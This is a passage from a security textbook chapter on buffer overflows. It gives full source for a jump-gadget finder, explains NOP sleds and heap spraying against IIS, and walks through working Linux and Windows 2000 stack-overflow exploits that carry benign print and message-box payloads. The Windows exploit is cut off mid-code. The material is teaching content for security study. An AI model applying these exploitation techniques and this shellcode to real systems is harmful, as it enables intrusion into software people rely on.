¡E Buffer Overflow if(argc<2) usage(); strncpy(dll,argv[1],512); strncpy(reg,argv[2],512); findjmp(dll,reg); } This prints the usage information. void usage() { printf("FindJmp usage\nfindjmp DLL reg\nEx: findjmp KERNEL32.DLL ESP\n"); exit (0); } /*The findjmp function is the workhorse. It loads the requested dll, and searches for specific patterns for jmp reg, push reg ret, and call reg.*/ void findjmp(char *dll,char *reg) { /* patterns for jmp ops */ BYTE jmppat[8][2]= {{0xFF,0xE0},{0xFF,0xE3},{0xFF,0xE1},{0xFF,0xE2}, {0xFF,0xE6},{0xFF,0xE7},{0xFF,0xE4},{0xFF,0xE5}}; /* patterns for call ops */ BYTE callpat[8][2]= {{0xFF,0xD0},{0xFF,0xD3},{0xFF,0xD1},{0xFF,0xD2}, {0xFF,0xD6},{0xFF,0xD7},{0xFF,0xD4},{0xFF,0xD5}}; /* patterns for pushret ops */ BYTE pushretpat[8][2]= {{0x50,0xC3},{0x53,0xC3},{0x51,0xC3},{0x52,0xC3}, {0x56,0xC3},{0x57,0xC3},{0x54,0xC3},{0x55,0xC3}}; /*base pointer for the loaded DLL*/ HMODULE loadedDLL; www.syngress.com Figure 8.23 Continued Buffer Overflow ¡E Chapter 8 277 /*current position within the DLL */ BYTE *curpos; /* decimal representation of passed register */ DWORD regnum=GetRegNum(reg); /*accumulator for addresses*/ DWORD numaddr=0; /*check if register is useable*/ if(regnum == -1) { /*it didn't load, time to bail*/ printf("There was a problem understanding the register.\n"\ "Please check that it is a correct IA32 register name\n"\ "Currently supported are:\n "\ "EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n"\ ); exit(-1); } loadedDLL=LoadLibraryA(dll); /* check if DLL loaded correctly*/ if(loadedDLL == NULL) { /*it didn't load, time to bail*/ printf("There was a problem Loading the requested DLL.\n"\ "Please check that it is in your path and readable\n" ); exit(-1); } www.syngress.com 278 Chapter 8 ¡E Buffer Overflow else { /*we loaded the dll correctly, time to scan it*/ printf("Scanning %s for code useable with the %s register\n", dll,reg); /*set curpos at start of DLL*/ curpos=(BYTE*)loadedDLL; __try { while(1) { /*check for jmp match*/ if(!memcmp(curpos,jmppat[regnum],2)) { /* we have a jmp match */ printf("0x%X\tjmp %s\n",curpos,reg); numaddr++; } /*check for call match*/ else if(!memcmp(curpos,callpat[regnum],2)) { /* we have a call match */ printf("0x%X\tcall %s\n",curpos,reg); numaddr++; } /*check for push/ret match*/ else if(!memcmp(curpos,pushretpat[regnum],2)) { /* we have a pushret match */ printf("0x%X\tpush %s ¡V"\ " ret\n",curpos,reg); numaddr++; www.syngress.com Buffer Overflow ¡E Chapter 8 279 } curpos++; } } __except(1) { printf("Finished Scanning %s for code useable with"\ " the %s register\n",dll,reg); printf("Found %d usable addresses\n",numaddr); } } } DWORD GetRegNum(char *reg) { DWORD ret=-1; if(!stricmp(reg,"EAX")) { ret=0; } else if(!stricmp(reg,"EBX")) { ret=1; } else if(!stricmp(reg,"ECX")) { ret=2; } else if(!stricmp(reg,"EDX")) { ret=3; } else if(!stricmp(reg,"ESI")) www.syngress.com 280 Chapter 8 ¡E Buffer Overflow { ret=4; } else if(!stricmp(reg,"EDI")) { ret=5; } else if(!stricmp(reg,"ESP")) { ret=6; } else if(!stricmp(reg,"EBP")) { ret=7; } /*return our decimal register number*/ return ret; } What Is an Offset? Offset is a term used primarily in local buffer overflows. Since multi-user machines are traditionally UNIX-based, we have seen the word offset used a lot in UNIX-based overflows. On a UNIX machine, you typically have access to a compiler¡Xand the attacker usually compiles his or her exploit directly on the machine he or she intends to attack. In this scenario, the attacker has some sort of user account and usually wishes to obtain root.The injector code for a local exploit sometimes calculates the base of its own stack¡Xand assumes that the program being attacked has the same base. For convenience, the attacker can then specify the offset from this address for a Direct Jump. If everything works properly, the base+offset value of the attacking code will match that of the victim code. No Operation (NOP) Sled If you are using a direct address when injecting code, you will be left with the burden of guessing exactly where your payload is located in memory, which is next to impossible.The problem is that your payload will not always be in the exact same place. Under UNIX, it is common that the same software package is www.syngress.com Buffer Overflow ¡E Chapter 8 281 recompiled on different systems, different compilers, and different optimization settings What works on one copy of the software may not work on another. So, to minimize this effect and decrease the required precision of a smash, we use the No Operation (NOP) Sled.The idea is simple.A NOP is an instruction that does nothing; it only takes up space (Incidentally, the NOP was originally created for debugging). Since the NOP is only a single byte long, it is immune to the problems of byte ordering and alignment issues. The trick involves filling our buffer with NOPs before the actual payload. If we incorrectly guess the address of the payload, it will not matter, as long as we guess an address that lands somewhere on a NOP. Since the entire buffer is full of NOPs, we can guess any address that lands in the buffer. Once we land on a NOP, we will begin executing each NOP.We slide forward over all the NOPs until we reach our actual payload.The larger the buffer of NOPs, the less precise we need to be when guessing the address of our payload. Designing Payload Payload is very important. Once the payload is being executed, there are many tricks for adding functionality.This can be one of the most rewarding and creative components of an exploit. Coding the Payload I don¡¦t believe in doing things the hard way. Most of the exploits you see published include wild blocks of unidentifiable machine code. I don¡¦t like this.There is a far better way to encode payloads: simply write them in C, C++, or inline assembly, and then copy the compiled code directly into your payload. Integrating assembly and C is easy to do using most compilers¡XI call it the fusion technique. Let¡¦s explore this a bit further. The Fusion Technique is just a simpler way to encode and compile assembly language and perform unconventional tricks. One of these tricks involves injecting code into other process spaces.Windows NT has established ways to accomplish this if for authenticated users. If you are not an authenticated user, you can still accomplish this through a buffer overflow. Either way, you are injecting code into a remote process space. Heap Spraying During research into exploitation of the .IDA IIS 4/5/6 vulnerability, we came across a strange situation.We were very limited as to which addresses we could reach with our overflowed EIP.The .IDA vulnerability was a buffer overflow in a www.syngress.com 282 Chapter 8 ¡E Buffer Overflow wide string operation. In other words, it took a normal string,¡§AAAA¡¨ (hex 0x41414141), and converted it to a wide character string (hex 0x0041004100410041).This put us in a strange position as there was no code loaded at any address starting with a 0x00.This meant that the traditional way of getting to our payload code via a jmp ESP or jmp register would not work. Also, it had the unfortunate effect of putting null bytes every other byte throughout our payload code.To overcome this problem, we used a new technique called ¡§forcing the heap,¡¨ which is a type of heap violation. General heap attacks will be covered later in this chapter.This differs from a normal heap attack, since we did not overflow on the heap, but rather on the stack.This technique has proven very useful for us in the exploitation of wide character overflows in other circumstances as well. When we looked at the memory addresses to which we had access, namely 0x00aa00bb (where we controlled aa and bb), we noticed that IIS had its heap in that address range.Whenever a request was given to IIS, it would store sessionspecific data in the heap.One of the things that we found was that at points there were specific HTTP environment variables supplied by the user in this memory range. However, there were none within the direct range over which we had control. Spraying the heap involved creating a type of NOP sled on the heap, then using a direct jump onto the heap.This allowed us to overflow the stack and take control of the EIP by referencing directly into the heap, then execute the code directly from the heap. One of the benefits of this exploitation technique is that by using a different method of exploitation, we were able to avoid having nulls inserted into our payload code by the wide copy, and we had a very large amount of payload space available to us.This technique was also beneficial because it did not require specific knowledge of any jump offsets in any loaded DLL because it directly referenced the heap memory. The downside of this code is that it required quite a large NOP sled to get our code aligned on the heap at an address we could reliably use. A different exploitation technique, using %u (Unicode encoding) was developed by a Japanese security researcher named hsj.This technique allows all 4 bytes of the EIP to be controlled, resulting in a more traditional buffer overflow technique.This just goes to show that there is often more than one way to attack a problem.This type of encoding is specific to IIS, and so its use works well here, but the general heap spraying is useful in many wide character overflow scenarios, even when encoding is not possible. www.syngress.com Buffer Overflow ¡E Chapter 8 283 Performing the Exploit on Linux The popularity of Linux has grown phenomenally in recent times. Despite having complete source code for auditing and an army of open source developers, bugs like this still show up. However, overflows often reside in code that is not directly security related because the code may be executing in the context of your user. For this example, however, we are focusing on the application of techniques that can be used in numerous situations, some of which may be security related. For this example we will develop a simple Linux exploit to write a string to screen. It acts like a simple C program using write(). First let¡¦s create a simple program to accomplish this: -----write.c------ int main() { write(1,"EXAMPLE\n",10); } -----write.c------ Now paste that into a file called write.c, then compile it with GCC and execute it. bash$ gcc write.c -o example --static bash$ ./example EXAMPLE bash$ Simple enough. Now we want to see what exactly is going on. So we use the gdb utility, which has more features than you could possibly imagine. If you know them all, you really need another hobby.We¡¦re going to stick with the basic features. First we open up our example program: --------------------------------- bash$ gdb ./example GNU gdb 5.1 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or www.syngress.com 284 Chapter 8 ¡E Buffer Overflow distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) --------------------------------- Your version may be slightly different but it shouldn¡¦t matter; all the features we will use will almost without a doubt be in your version of gdb. We want to see the code in the main() function, specifically the code that calls write(). So to do this we type disassemble main from the prompt.The disassemble command just shows the function code in the assembly language of the architecture we¡¦re operating on. For our example, it¡¦s Intel x86. (gdb) disas main Dump of assembler code for function main: 0x80481e0 <main>: push %EBP 0x80481e1 <main+1>: mov %ESP,%EBP 0x80481e3 <main+3>: sub $0x8,%ESP 0x80481e6 <main+6>: sub $0x4,%ESP 0x80481e9 <main+9>: push $0x9 0x80481eb <main+11>: push $0x808e248 0x80481f0 <main+16>: push $0x1 0x80481f2 <main+18>: call 0x804cc60 <__libc_write> 0x80481f7 <main+23>: add $0x10,%ESP 0x80481fa <main+26>: leave 0x80481fb <main+27>: ret End of assembler dump. (gdb) The following is the actual code that runs write.We push the arguments to the write() function in reverse order onto the stack. First we type push $0x9( $0x signifies hexadecimal in gdb), where the value 9 represents the length of our string ¡§EXAMPLE\n¡¨.Then we type push $0x808e248, which pushes the address of the string ¡§EXAMPLE\n¡¨ onto the stack.To see what¡¦s at that address, we can type the following from the (gdb) prompt: x/s 0x808e248.The final step www.syngress.com Buffer Overflow ¡E Chapter 8 285 before calling write is to push the file descriptor onto the stack; in this case it¡¦s 1, or standard output. Now we call write. 0x80481e9 <main+9>: push $0x9 0x80481eb <main+11>: push $0x808e248 0x80481f0 <main+16>: push $0x1 0x80481f2 <main+18>: call 0x804cc60 <__libc_write> Let¡¦s see what write is doing. Do a disas __libc_write at the gdb prompt.You should see something similar to the following. (gdb) disas __libc_write Dump of assembler code for function __libc_write: 0x804cc60 <__libc_write>: push %EBX 0x804cc61 <__libc_write+1>: mov 0x10(%ESP,1),%EDX 0x804cc65 <__libc_write+5>: mov 0xc(%ESP,1),%ECX 0x804cc69 <__libc_write+9>: mov 0x8(%ESP,1),%EBX 0x804cc6d <__libc_write+13>: mov $0x4,%EAX 0x804cc72 <__libc_write+18>: int $0x80 0x804cc74 <__libc_write+20>: pop %EBX 0x804cc75 <__libc_write+21>: cmp $0xfffff001,%EAX 0x804cc7a <__libc_write+26>: jae 0x8052bb0 <__syscall_error> 0x804cc80 <__libc_write+32>: ret End of assembler dump. The initial ¡§push %EBX¡¨ is not really important to us, write is just saving on the stack because we¡¦re going to need to change EBX, when we¡¦re done we can get the value back by doing a ¡§pop %EBX.¡¨We want to focus on the four mov commands and the ¡§int $0x80.¡¨The mov command just moves data. In this case it¡¦s moving the data we previously pushed onto the stack in main. To set up a write call, we first put our syscall number into the %EAX register. When we execute int $0x80, the operating system looks at EAX and then runs the code for the specified syscall.The write syscall is syscall number 4.The following file will give a list of the available syscalls:¡§/usr/include/asm/unistd.h¡¨ 0x804cc6d <__libc_write+13>: mov $0x4,%EAX 0x804cc72 <__libc_write+18>: int $0x80 www.syngress.com 286 Chapter 8 ¡E Buffer Overflow So let¡¦s sum up what we now know:We know that write needs three arguments, a length of the data being written, the address of the string we want to write, and the destination of our write (the file descriptor).We also now know that the string length, 9 in this case, has to be in the EDX register, the address of the string we want to write has to be in the ECX register, and the file descriptor has to be in the EBX. So basically our simple write() without any error handling does this: mov $0x9,%EDX mov 0x808e248,%ECX mov $0x1,%EBX mov $0x4,%EAX int $0x80 So now we know what a write looks like in assembly we can make our shellcode. The only problem is the second operand sequence, or to be specific,¡§mov 0x808e248,%ECX.¡¨The problem with this is that we can¡¦t have the address of the string without it being in memory; and without the address, we can¡¦t get to the string. In this case we do a jmp/call: when you execute a call, the address of the next instruction is pushed onto the stack. for example, if we do the following: jump <string> code: pop %ECX string: call <code> "our string\n" The call pushes the address of the next instruction onto the stack (the next instruction down is actually a string). But the call actually doesn¡¦t know the difference. So now the address of our string\n is on top of the stack. After the jump we¡¦re at the pop %ECX instruction.The pop instruction just pops the top item off of the stack into the specified register, in this case ECX. Now we have the address of our string\n in the ECX.The last thing we need to do is verify that the registers are clean.We do this by XORing or SUBing them out.We¡¦ve chosen XOR because it will always zero out a register and makes for very compact code and we need to zero out our registers so that we can work with a clean register. Our syscalls use the low bytes of our registers for their arguments, so by zeroing registers out, we can work with only what we need. Our final shellcode is: www.syngress.com Buffer Overflow ¡E Chapter 8 287 jump string code: pop %ECX xor %EBX, %EBX xor %EDX, %EDX xor %EAX, %EAX mov $0x9,%EDX mov $0x1,%EBX mov $0x4,%EAX int $0x80 string: call code "EXAMPLE\n" Now that we have our shellcode ready we need to exploit the example program so it redirects its flow of execution into our shellcode.This can be done by overwriting the saved EIP with the address of our shellcode. So when bof() attempts to return (ret) to main, it will pop the saved EIP and attempt a jmp to the address specified there. But where in memory will our shellcode be located? More specifically, what address should we choose to overwrite the saved EIP with? When fread reads the data from the file it will place it into on the stack, char buffer[8] to be specific. So we know that the payload we will put into the file will end up on stack.With Unices, the stack will start at the same address for every program. All we have to do is write a test program to get the address from the start of the stack. When a function finishes, it places its return value into the EAX, so the calling function knows if the function¡¦s execution was successful. $ cat ret.c int main() { return(0); } $ gcc ret.c -o ret $ gdb ./ret (gdb) disas main Dump of assembler code for function main: www.syngress.com 288 Chapter 8 ¡E Buffer Overflow 0x8048430 <main>: push %EBP 0x8048431 <main+1>: mov %ESP,%EBP 0x8048433 <main+3>: mov $0x0,%EAX <---- here it is ![]() 0x8048438 <main+8>: pop %EBP 0x8048439 <main+9>: ret 0x804843a <main+10>: mov %ESI,%ESI 0x804843c <main+12>: nop 0x804843d <main+13>: nop 0x804843e <main+14>: nop 0x804843f <main+15>: nop End of assembler dump. (gdb) So instead of doing a return(value), we skip it and put our ESP into EAX, that way we can assign our ESP to a variable. Here¡¦s the code to get our ESP: -----------------get_ESP.c-------------- unsigned long get_ESP(void) { __asm__("movl %ESP,%EAX"); } int main() { printf("ESP: 0x%x\n", get_ESP()); return(0); } -----------------get_ESP.c-------------- Now that we know where the stack starts, how can we exactly pinpoint where our shellcode is going to be on the stack? Simple: we don¡¦t! We just ¡§pad¡¨ our shellcode to increase its size so we can make a reasonable guess.This is a type of NOP sled. In this case since we XOR all the registers at the beginning of our payload we will need we can use operands that work with those, as long as they don¡¦t attempt to access memory directly. For example the operand inc %EAX, is the hex byte value 0x41, all it does is increment the value of the EAX by one. Our shellcode does use the EAX but we clean it up first by www.syngress.com Buffer Overflow ¡E Chapter 8 289 using XOR. So if we inc %EAX before the first operand of our shellcode, jmp, everything will still work fine. In fact we can inc %EAX just about as much as we want to. In this case,¡§inc %EAX¡¨ is equivalent to a NOP. So we¡¦ll make our shellcode 1000 bytes and pad everything up to the shellcode with 0x41, or ¡¨inc %EAX.¡¨ The OFFSET defined in the exploit is just a guessed area where our shellcode should be. So in this case we try ¡§ESP+1500.¡¨ Here¡¦s our exploit and final shellcode: #include <stdlib.h> #include <stdio.h> /***** Shellcode dev with GCC *****/ int main() { __asm__(" jmp string # jump down to <string:> This is where the actual payload begins. First we clear the registers we will be using so the data in them doesn¡¦t interfere with our shellcode¡¦s execution code: xor %EBX, %EBX xor %EDX, %EDX xor %EAX, %EAX # Now we are going to set up a call to the write # function. What we are doing is basically: # write(1,EXAMPLE!\n,9); # Syscall reference: /usr/include/asm/unistd.h # # write : syscall 4 # Nearly all syscalls in Linux need to have their arguments in registers, the <write> syscall needs the following: ECX:Address of the data being written EBX: File descriptor, in this case stdout EDX: Length of data www.syngress.com 290 Chapter 8 ¡E Buffer Overflow Now we move the file descriptor we want to write to into EBX. In this case it¡¦s 1, or STDOUT: popl %ECX # %ECX now holds the address of our string mov $0x1, %EBX Next we move the length of the string into the lower nibble of the %EDX register: movb $0x09, %dl Before we do an <int 80> and trigger the syscall execution, we need to let the OS know which syscall we want to execute.We do this by placing the syscall number into the lower byte of the %EAX register, %al: movb $0x04, %al Now we trigger the operating system to execute whatever syscall is provided in %al. int $0x80 The next syscall we want to execute is <exit>, or #syscall 1. Exit doesn¡¦t need any arguments for our purpose here, so we just interrupt and get it over with. movb $0x1, %al int $0x80 string: call code A call pushes the address of the next instruction onto the stack and then does a jmp to the specified address. In this case the next instruction after <call code> is actually the location of our string EXAMPLE. So by doing a jump and then a call, we can get an address of the data in which we¡¦re interested. So now we redirect the execution back up to <code:> .string \"EXAMPLE\n\" "); Here is our complete exploit: /****** Shellcode dev with GCC *****/ #include <stdlib.h> www.syngress.com Buffer Overflow ¡E Chapter 8 291 #include <stdio.h> char shellcode[] = "\xeb\x16" /* jmp string */ "\x31\xdb" /* xor %EBX, %EBX */ "\x31\xd2" /* xor %EDX, %EDX */ "\x31\xc0" /* xor %EAX, %EAX */ "\x59" /* pop %ECX */ "\xbb\x01\x00\x00\x00" /* mov $0x1,%EBX */ "\xb2\x09" /* mov $0x9,%dl */ "\xb0\x04" /* mov $0x04,%al */ "\xcd\x80" /* int $0x80 */ "\xb0\x01" /* mov $0x1, %al */ "\xcd\x80" /* int $0x80 */ "\xe8\xe5\xff\xff\xff" /* call code */ "EXAMPLE\n" ; #define VULNAPP "./bof" #define OFFSET1500 unsigned long get_ESP(void) { __asm__("movl %ESP,%EAX"); } main(int argc, char **argv) { unsigned long addr; FILE *badfile; char buffer[1024]; fprintf(stderr, "Using Offset: 0x%x\nShellcode Size: %d\n",addr,sizeof(shellcode)); www.syngress.com 292 Chapter 8 ¡E Buffer Overflow addr = get_ESP()+OFFSET; /* Make exploit buffer */ memset(&buffer,0x41,1024); buffer[12] = addr & 0x000000ff; buffer[13] = (addr & 0x0000ff00) >> 8; buffer[14] = (addr & 0x00ff0000) >> 16; buffer[15] = (addr & 0xff000000) >> 24; memcpy(&buffer[(sizeof(buffer) ¡V sizeof(shellcode))],shellcode,sizeof(shellcode)); /* put it in badfile */ badfile = fopen("./badfile","w"); fwrite(buffer,1024,1,badfile); fclose(badfile); } Here is a sample run of the exploit: sh-2.04# gcc sample4.c -o sample4 sh-2.04# gcc exploit.c -o exploit sh-2.04# ./exploit Using Offset: 0x8048591 Shellcode Size: 38 sh-2.04# od -t x2 badfile 0000000 4141 4141 4141 4141 4141 4141 fc04 bfff 0000020 4141 4141 4141 4141 4141 4141 4141 4141 www.syngress.com Buffer Overflow ¡E Chapter 8 293 * 0001720 4141 4141 4141 4141 4141 16eb db31 d231 0001740 c031 bb59 0001 0000 09b2 04b0 80cd 01b0 0001760 80cd e5e8 ffff 45ff 4158 504d 454c 000a 0002000 sh-2.04# ./sample4 EXAMPLE sh-2.04# In the first two lines beginning with ¡§gcc¡¨, we¡¦re compiling our vulnerable program, named sample4.c, and the program named exploit.c, that generates our special ¡§badfile.¡¨ Running the exploit displays the offset for this system, and the size of our payload. Behind the scenes, it also creates the ¡§badfile,¡¨ which the vulnerable program will read. Next, we show the contents of the badfile using octal dump (od), telling it to display in hex. By default, this version of od will abbreviate repeated lines with a ¡§*¡¨, so the 0x41 NOP sled between the lines 0000020 and 0001720 are not displayed. Finally, we show a sample run on the victim program, sample4, which prints EXAMPLE. If you look back, you¡¦ll notice that that never appears in the victim program, but rather in our exploit.This demonstrates that the exploit attempt was successful. Performing the Exploit on Windows NT We will now examine the exploitation of this bug on Windows NT.Most of these concepts apply to all win32 platforms, however there are some differences between the platforms and not all techniques are applicable on every platform. This example was written and tested using windows 2000, service pack 2. It may work on other platforms, but due to the necessary simplicity of this exploit, I won¡¦t guarantee it.Techniques to exploit multiple platforms will be covered in more detail later in the chapter. www.syngress.com 294 Chapter 8 ¡E Buffer Overflow Windows makes possible a wide variety of exploitation techniques; this example exploit will examine a few of the more simple ways that you can exploit this vulnerable program. Because of space constraints, we will be making this a non-portable buffer overflow example.The code we will develop will run on Windows 2000, SP2 out of the box, and recompile on just about any platform with little trouble. For this example we have chosen to pop up a message box and have it display the text ¡§HI¡¨. We will cover all three aspects of exploitation: Creating an injector Building the exploit Finding a jump point Writing a simple payload Creating the Injector Since we know that this vulnerability reads in a buffer from a file, we assume that our injection vector is file based.We also know that the vulnerable program is reading in binary data.This gives us the benefit of not having to worry about null bytes in our shellcode, because it is not a string operation overflow.This enables us to create a simple injector that writes our shellcode to a file that we can feed into our vulnerable program in order to inject our exploit code into the buffer. Writing code to write a file is pretty simple in Windows NT.We basically use the CreateFile(), WriteFile() and CloseHandle() API calls to open the file, write our code to it, then close the file. Our exploit code is contained in the buffer named writeme. The code to open the file and write it out looks like this: //open the file file=CreateFile("badfile",GENERIC_WRITE,0,NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); //write our shellcode to the file WriteFile(file,writeme,65,&written,NULL); CloseHandle(file); www.syngress.com Buffer Overflow ¡E Chapter 8 295 Building the Exploit Since we examined the stack of a compiled program, we know that to take control of the EIP register, we must overwrite the 8 bytes of the buffer, then 4 bytes of a saved EBP register, and then 4 bytes of saved EIP.This means that we have 12 bytes of filler that must be filled with something. In this case, we¡¦ve chosen to use 0x90, which is the hex value for the Intel NOP operation.This is an implementation of a NOP sled, but we won¡¦t need to slide in this case because we know where we need to go and can avoid it.This is just filler that we can use to overwrite the buffer and EBP on the stack.We set this up using the memset() C library call to set the first 12 bytes of the buffer to 0x90. memset(writeme,0x90,12); //set my local string to nops Finding a Jump Point Next, we need to write out where we want the EIP to go. As mentioned before, there are numerous ways to get the EIP to point to our code.Typically, I put a debugging break point at the end of the function that returns, so I can see what the state of the registers are when we are right before the vulnerable functions ret instruction. In examining the registers in this case: EAX = 00000001 EBX = 7FFDF000 ECX = 00423AF8 EDX = 00000000 ESI = 00000000 EDI = 0012FF80 ESP = 0012FF30 EBP = 90909090 We notice that the ESP points right into the stack, right after where the saved EIP should be. After this ret, the ESP will move up 4 bytes and what is there should be moved to the EIP. Also, control should continue from there.This means that if we can get the contents of the ESP register into the EIP, we can execute code at that point. Also notice how in the function epilogue, the saved EBP was restored, but this time with our 0x90 string instead of its original contents. So now we examine the memory space of the attacked program for useful pieces of code that would allow us to get the EIP register to point to the ESP. Since we have already written findjmp, we¡¦ll use that to find an effective place to get our ESP into the EIP.To do this effectively, we need to see what DLLs are imported into our attacked program and examine those loaded DLLs for potentially vulnerable pieces of code.To do this, we could use the depends.exe program www.syngress.com 296 Chapter 8 ¡E Buffer Overflow that ships with visual studio, or the dumpbin.exe utility that will allow you to examine a program¡¦s imports. In this case, we will use dumpbin for simplicity, since it can quickly tell us what we need.We will use the command line: dumpbin /imports samp4.exe Microsoft (R) COFF Binary File Dumper Version 5.12.8078 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. Dump of file samp4.exe File Type: EXECUTABLE IMAGE Section contains the following imports: KERNEL32.dll 426148 Import Address Table 426028 Import Name Table 0 time date stamp 0 Index of first forwarder reference 26D SetHandleCount 174 GetVersion 7D ExitProcess 1B8 IsBadWritePtr 1B5 IsBadReadPtr 1A7 HeapValidate 11A GetLastError 1B CloseHandle 51 DebugBreak 152 GetStdHandle 2DF WriteFile 1AD InterlockedDecrement 1F5 OutputDebugStringA www.syngress.com Buffer Overflow ¡E Chapter 8 297 13E GetProcAddress 1C2 LoadLibraryA 1B0 InterlockedIncrement 124 GetModuleFileNameA 218 ReadFile 29E TerminateProcess F7 GetCurrentProcess 2AD UnhandledExceptionFilter B2 FreeEnvironmentStringsA B3 FreeEnvironmentStringsW 2D2 WideCharToMultiByte 106 GetEnvironmentStrings 108 GetEnvironmentStringsW CA GetCommandLineA 115 GetFileType 150 GetStartupInfoA 19D HeapDestroy 19B HeapCreate 19F HeapFree 2BF VirtualFree 22F RtlUnwind 199 HeapAlloc 1A2 HeapReAlloc 2BB VirtualAlloc 27C SetStdHandle AA FlushFileBuffers 241 SetConsoleCtrlHandler 26A SetFilePointer 34 CreateFileA BF GetCPInfo B9 GetACP 131 GetOEMCP 1E4 MultiByteToWideChar 153 GetStringTypeA www.syngress.com 298 Chapter 8 ¡E Buffer Overflow 156 GetStringTypeW 261 SetEndOfFile 1BF LCMapStringA 1C0 LCMapStringW Summary 3000 .data 1000 .idata 2000 .rdata 1000 .reloc 20000 .text This shows that the only linked DLL loaded directly is kernel32.dll. Kernel32.dll also has dependencies, but for now, we will just use that to find a jump point. Next, we load findjmp, looking in kernel32.dll for places that can redirect us to the ESP.We run it as follows: findjmp kernel32.dll ESP And it tells us: Scanning kernel32.dll for code useable with the ESP register 0x77E8250A call ESP Finished Scanning kernel32.dll for code useable with the ESP register Found 1 usable addresses So we can overwrite the saved EIP on the stack with 0x77E8250A and when the ret hits, it will put the address of a call ESP into the EIP.The processor will execute this instruction, which will redirect processor control back to our stack, where our payload will be waiting. In the exploit code, we define this address as follows: DWORD EIP=0x77E8250A; // a pointer to a //call ESP in KERNEL32.dll //found with findjmp.c and then write it in our exploit buffer after our 12 byte filler like so: memcpy(writeme+12,&EIP,4); //overwrite EIP here www.syngress.com Buffer Overflow ¡E Chapter 8 299 Writing a Simple Payload Finally, we need to create and insert our payload code. As stated before, we chose to create a simple MessageBox that says ¡§HI¡¨ to us, just as a proof of concept. I typically like to prototype my payloads in C, and then convert them to ASM.The C code to do this is as follows: MessageBox (NULL, "hi", NULL, MB_OK); Typically, we would just recreate this function in ASM.You can use a disassembler or debugger to find the exact ASM syntax from compiled C code. We have one issue though; the MessageBox function is exported from USER32.DLL, which is not imported into our attacked program, so we have to force it to load itself.We do this by using a LoadLibraryA call. LoadLibraryA is the function that WIN32 platforms use to load DLLs into a process¡¦s memory space. LoadLibraryA is exported from kernel32.dll, which is already loaded into our DLL, as the dumpbin output shows us. So we need to load the DLL, then call the MessageBox, so our new code looks like: LoadLibraryA("User32"); MessageBox(NULL, "hi", NULL, MB_OK); We were able to leave out the ¡§.dll¡¨ on ¡§user32.dll¡¨ because it is implied, and it saves us 4 bytes in our payload size. Now the program will have user32 loaded (and hence the code for MessageBox loaded), so the functionality is all there, and should work fine as we translate it to ASM. There is one last part that we do need to take into account, however: since we have directly subverted the flow of this program, it will probably crash as it attempts to execute the data on the stack after our payload. Since we are all polite hackers, we should attempt to avoid this. In this case, it means exiting the process cleanly using the ExitProcess() function call. So our final C code (before conversion to assembly) is as follows: LoadLibraryA("User32"); MessageBox(NULL, "hi", NULL, MB_OK); ExitProcess(1); We decided to use the inline ASM functionality of the visual C compiler to create the ASM output of our program, and then just copied it to a BYTE buffer for inclusion in our exploit. www.syngress.com 300 Chapter 8 ¡E Buffer Overflow Rather than showing the whole code here, we will just refer you to the following exploit program that will create the file, build the buffer from filler, jump point, and payload, then write it out to a file. If you wish to test the payload before writing it to the file, just uncomment the small section of code noted as a test. It will execute the payload instead of writing it to a file. The following is a program that I wrote to explain and generate a sample exploit for our overflowable function. It uses hard-coded function addresses, so it may not work on a system that isn¡¦t running win2k sp2. It is intended to be simple, not portable.To make it run on a different platform, replace the #defines with addresses of those functions as exposed by depends.exe, or dumpbin.exe, both of which ship with Visual Studio. The only mildly advanced feature this code uses is the trick push.A trick push is when a call is used to trick the stack into thinking that an address was pushed. In this case, every time we do a trick push, we want to push the address of our following string onto the stack.This allows us to embed our data right into the code, and offers the added benefit of not requiring us to know exactly where our code is executing, or direct offsets into our shellcode. This trick works based on the fact that a call will push the next instruction onto the stack as if it were a saved EIP intended to return to at a later time.We are exploiting this inherent behavior to push the address of our string onto the stack. If you have been reading the chapter straight through, this is the same trick used in the Linux exploit. Because of the built-in Visual Studio compiler¡¦s behavior, we are required to use _emit to embed our string in the code. #include <Windows.h> /* Example NT Exploit Ryan Permeh, ryan@eeye.com */ int main(int argc,char **argv) { #define MBOX 0x77E375D5 #define LL 0x77E8A254 #define EP 0x77E98F94 www.syngress.com Buffer Overflow ¡E Chapter 8 301 DWORD EIP=0x77E8250A; // a pointer to a //call ESP in KERNEL32.dll //found with findoffset.c BYTE writeme[65]; //mass overflow holder BYTE code[49] ={ 0xE8, 0x07, 0x00, 0x00, 0x00, 0x55, 0x53, 0x45, 0x52, 0x33, 0x32, 0x00, 0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF, 0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8, 0x03, 0x00, 0x00, 0x00, 0x48, 0x49, 0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75, 0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01, 0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF, 0xD0 }; HANDLE file; DWORD written; /* __asm { call tag1 ; jump over(trick push) _emit 0x55 ; "USER32",0x00 _emit 0x53 _emit 0x45 _emit 0x52 _emit 0x33 _emit 0x32 _emit 0x00 tag1: // LoadLibrary("USER32"); mov EAX, LL ;put the LoadLibraryA address in EAX call EAX ;call LoadLibraryA www.syngress.com 302 Chapter 8 ¡E Buffer Overflow push 0 ;push MBOX_OK(4th arg to mbox) push 0 ;push NULL(3rd arg to mbox) call tag2 ; jump over(trick push) _emit 0x48 ; "HI",0x00 _emit 0x49 _emit 0x00 tag2: push 0 ;push NULL(1st arg to mbox) // MessageBox (NULL, "hi", NULL, MB_OK); mov EAX, MBOX ;put the MessageBox address in EAX call EAX ;Call MessageBox push 1 ;push 1 (only arg to exit) // ExitProcess(1); mov EAX, EP ; put the ExitProcess address in EAX call EAX ;call ExitProcess } */ /* char *i=code; //simple test code pointer //this is to test the code __asm { mov EAX, i call EAX } */ /* Our overflow string looks like this: [0x90*12][EIP][code] The 0x90(nop)'s overwrite the buffer, and the saved EBP on the stack, www.syngress.com Buffer Overflow ¡E Chapter 8 303 and then EIP replaces the saved EIP on the stack. The saved EIP is replaced with a jump address that points to a call ESP. When call ESP executes, it executes our code waiting in ESP.*/ memset(writeme,0x90,65); //set my local 